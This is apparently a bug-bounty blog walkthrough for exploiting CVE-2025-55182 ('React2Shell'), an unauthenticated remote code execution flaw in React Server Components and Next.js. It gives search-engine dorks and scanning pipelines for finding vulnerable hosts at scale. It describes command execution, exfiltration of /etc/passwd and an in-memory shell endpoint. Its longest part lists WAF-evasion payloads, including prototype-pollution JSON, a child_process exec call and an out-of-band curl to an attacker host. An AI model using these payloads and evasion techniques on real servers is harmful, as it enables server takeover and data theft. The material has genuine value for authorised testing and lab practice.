From Recon to RCE: Hunting React2Shell (CVE-2025–55182) for Bug Bounties

A step-by-step walkthrough covering discovery, validation and real-world exploitation in React and Next.js applications

Introduction

CVE-2025–55182 is a critical security vulnerability affecting applications built with React Server Components (RSC), particularly those using Next.js with the App Router. Due to its high impact and low exploitation effort, it carries the maximum CVSS score of 10.0. In this guide, I will explain how this vulnerability works, show practical methods to identify affected targets and demonstrate both manual and automated approaches for testing CVE-2025–55182 safely and effectively.

How Does It Work?

The root of the issue is a flaw in how the server handles data in the “Flight” protocol, which is the communication method for React Server Components.

1. React Server Components (RSC): This is a feature designed to speed up web applications by letting parts of the user interface (components) render on the server instead of the user’s browser.
2. The Flaw (Insecure Deserialization): When data travels between the client (browser) and the server using the Flight protocol, the server needs to “decode” or deserialize the incoming message. The vulnerability occurs because the server is too trusting of this incoming data. An attacker can send a maliciously structured data package that, when decoded by the server, tricks the application logic into running arbitrary JavaScript code on the server itself.

In simple terms, the server expects a normal message, but instead it processes a crafted payload that triggers command execution on the system.

What is the Core Problem?

The vulnerability is categorized as Unauthenticated Remote Code Execution (RCE). This means:

• Remote Code Execution (RCE): An attacker can trick the server into running their own unauthorized code or commands. This allows them to take full control of the server, potentially stealing data, installing malware like cryptominers, or causing other significant damage.
• Unauthenticated: The attacker doesn’t need a username, password or any kind of access to the application to carry out the attack. They just need to send a specially crafted request to the public-facing server.

Affected Components and Versions

According to the official advisory, affected React components are listed below.

[embed]

Target Discovery Using Search Engine Dorks

The fastest way to scale your hunting is to use asset discovery platforms like Shodan, ZoomEye and FOFA. They help you quickly find applications running React or Next.js that could be vulnerable.

Shodan
http.component:"next.js,react"
http.component:"Next.js"

Shodan Cli Dork
shodan search "X-Powered-By: Next.js" --fields ip_str,port,hostnames | awk '{print "https://"$1":"$2}' | httpx -silent | anew shodan_nextjs.txt

ZoomEye
http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"
vul.cve="CVE-2025-55182"

FOFA
app="NEXT.JS" || app="React.js"

# Note:
If you're checking a specific target, include the hostname in your dork so the results stay limited to that domain only.

Once you have a list of target domains from dorks or tools like Subfinder, run a Nuclei scan against them to quickly spot potentially vulnerable hosts.

echo domain.com | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml
cat domains.txt | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml

subfinder -d domain.com -all | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml -c 30 
subfinder -dL domains.txt -all | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml -c 30
cat domains.txt | httpx-toolkit -silent -sc -td | grep -Ei "Next\.js|React"
cat domains.txt | httpx-toolkit -silent -sc -td | grep -Ei "Next\.js|React" | awk '{print $1}' | nuclei -t CVE-2025-55182.yaml

Quick Validation Using a Browser Extension

Next, use this browser extension; it will automatically detect if the site is affected by this CVE. From here, you can probe the target and even execute OS commands directly.

• Open a target domain
• The extension immediately checks if the site is vulnerable
• If exploitable, you can directly execute OS commands

[embed]GitHub - mrknow001/RSC_Detector: Supports RSC fingerprinting and exploitation of the React… Supports RSC fingerprinting and exploitation of the React component vulnerability CVE-2025-55182. …github.com

Manual Exploitation Using Burp Suite

Now, let’s move on to manual testing. This approach gives stronger proof and a clearer understanding of how the vulnerability actually behaves. Using Burp Suite, we can intercept and modify requests to experiment with different exploitation techniques. We will go through each technique one by one to see how it works in practice.

Command Execution Output In Response Body

In this method, the command’s output is reflected directly in the HTTP response. This offers clear, high-confidence confirmation of RCE and makes strong, straightforward evidence for reports.

[embed]

Command Execution Output in Response Header

In more restrictive environments where response bodies are filtered or sanitized, command output can still leak through custom HTTP headers. This approach is useful when traditional output channels are blocked and still provides reliable evidence of execution.

[embed]

Launching a Calculator

This payload demonstrates code execution visually by launching a Calculator application. It is intended for local or lab environments only and should never be used against production systems.

[embed]

Out-of-Band / DNS Interaction Payloads

Out-of-band techniques are critical when direct output is unavailable useful for:

• Confirming blind exploitation
• Proving SSRF behavior
• Strengthening reports where direct output is blocked

Make sure to Replace the domain below with your Burp Collaborator / OAST domain.

Trigger an Outbound HTTP Request

Triggering an outbound request from the server allows you to confirm command execution by observing callbacks on your Burp Collaborator or OAST server.

[embed]

Exfiltrate /etc/passwd via HTTP POST

This demonstrates real data exposure by sending file contents to an external endpoint. Callbacks and extracted data can be viewed directly in the Collaborator client.

[embed]

Runtime Memory Shell (Advanced Technique)

This chain allows an attacker to inject a runtime-only command execution on the “slash-exec” endpoint into the Node js HTTP server for as long as the affected process remains alive.

Payload to Create the In-Memory Shell

[embed]

Trigger Command Execution

To trigger the command execution, simply send a request to the injected endpoint. For example:

curl "http://target.com/exec?cmd=ls+-l"

You can also access this directly in the browser itself and simply run any OS command from there.

Using Burp Suite Active Scan

You can also use Burp Suite to scan for this CVE by running an Active Scan on the target. Since support was added recently. This helps quickly check if the application is vulnerable before doing manual testing.

Useful WAF Bypass Techniques for React2Shell

This section highlights commonly observed WAF bypass techniques used during React2Shell exploitation. These methods help evade signature-based filtering and request inspection by altering payload structure, encoding and transport behavior, and should be tested carefully depending on the target’s protection stack.

WAF Bypass with Unicode Encoding

# encode sensitive keywords using unicode escapes
encoded = "\\u0063\\u006f\\u006e\\u0073\\u0074\\u0072\\u0075\\u0063\\u0074\\u006f\\u0072"
payload = f'{{"then":"$1:__proto__:then","_response":{{"_prefix":"x","_formData":{{"get":"$1:{encoded}:{encoded}"}}}}}}'

WAF Bypass with Chunked Transfer Encoding

headers = {
    "Transfer-Encoding": "chunked",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"
}
# send the payload in small chunks to evade inspection

LF-only Line Ending Bypass (Experimental)

--boundary\n
Content-Disposition: form-data; name="0"\n
\n
{payload}\n

Enable All Stable Bypasses (Combined Effect)

Content-Type: multipart/form-data; boundary= randomized_boundary ; charset=utf-16le

{
  "junk_padding": "AAAA...(128KB+)",
  "action123": "noise",
  "then": "$1:__proto__:then",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Oversized Payload (AWS WAF Bypass)

# push malicious data outside the WAF inspection window
padding = "A" * 66000
payload = {
    "padding": padding,
    "0": '{"malicious":"payload"}',
    "1": "$@0",
    "2": "[]"
}

JSON Property Order Variation

{"then":"...","_response":{...}}
{"_response":{...},"then":"..."}

Alternate Content-Type Confusion

Content-Type: application/json
Content-Type: text/plain
Content-Type: application/octet-stream

Multipart Boundary Manipulation

Content-Type: multipart/form-data; boundary=----randomBoundary123
# change boundary value on every request

HTTP Parameter Pollution Bypass

{
  "action123": "randomdata",
  "mode456": "test",
  "callback789": "ignore",
  "0": "{malicious_payload}",
  "1": "$@0",
  "2": []
}

Header Case Variation Bypass

Next-Action: x
next-action: x
NEXT-ACTION: x
cOnTeNt-dIsPoSiTiOn: form-data; name="0"
nExT-aCtIoN: rce

Indirect Command Execution

require("child_process")["ex"+"ec"]("id")

Nested / Deep JSON Objects

{"a":{"b":{"c":{"then":"payload"}}}}

Out-of-Band Payloads (Blind Bypass)

curl http://attacker.oast.site/`whoami`

WAF Bypass with UTF-16LE Charset

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad; charset=utf-16le

[embed]

WAF Bypass with Junk Data Padding

{
  "random_padding_param": "AAAAAA... (128KB+ random junk data)",
  "0": "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\"}",
  "1": "$@0",
  "2": []
}

Combined WAF Bypass (UTF-16LE + Junk Padding)

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad; charset=utf-16le

[embed]

Practice in a Local Environment

You can also practice CVE-2025–55182 in a safe local environment using a dedicated TryHackMe lab. It provides a vulnerable React and Next.js setup so you can test exploitation techniques, payloads and validation methods without touching real-world or production targets.

[embed]React2Shell: CVE-2025-55182 Explore the CVE-2025-55182 vulnerability in React server components.tryhackme.com

You can also watch this video where I showed the complete practicle of this method:

[embed]

Conclusion

React2Shell shows how quickly simple recon can turn into full command execution when a vulnerability is overlooked. By following a structured approach and validating findings carefully, you can identify real-world issues and produce clear, high-impact bug bounty reports. Always test responsibly and keep exploitation minimal.

Disclaimer

The content provided in this article is for educational and informational purposes only. Always ensure you have proper authorization before conducting security assessments. Use this information responsibly.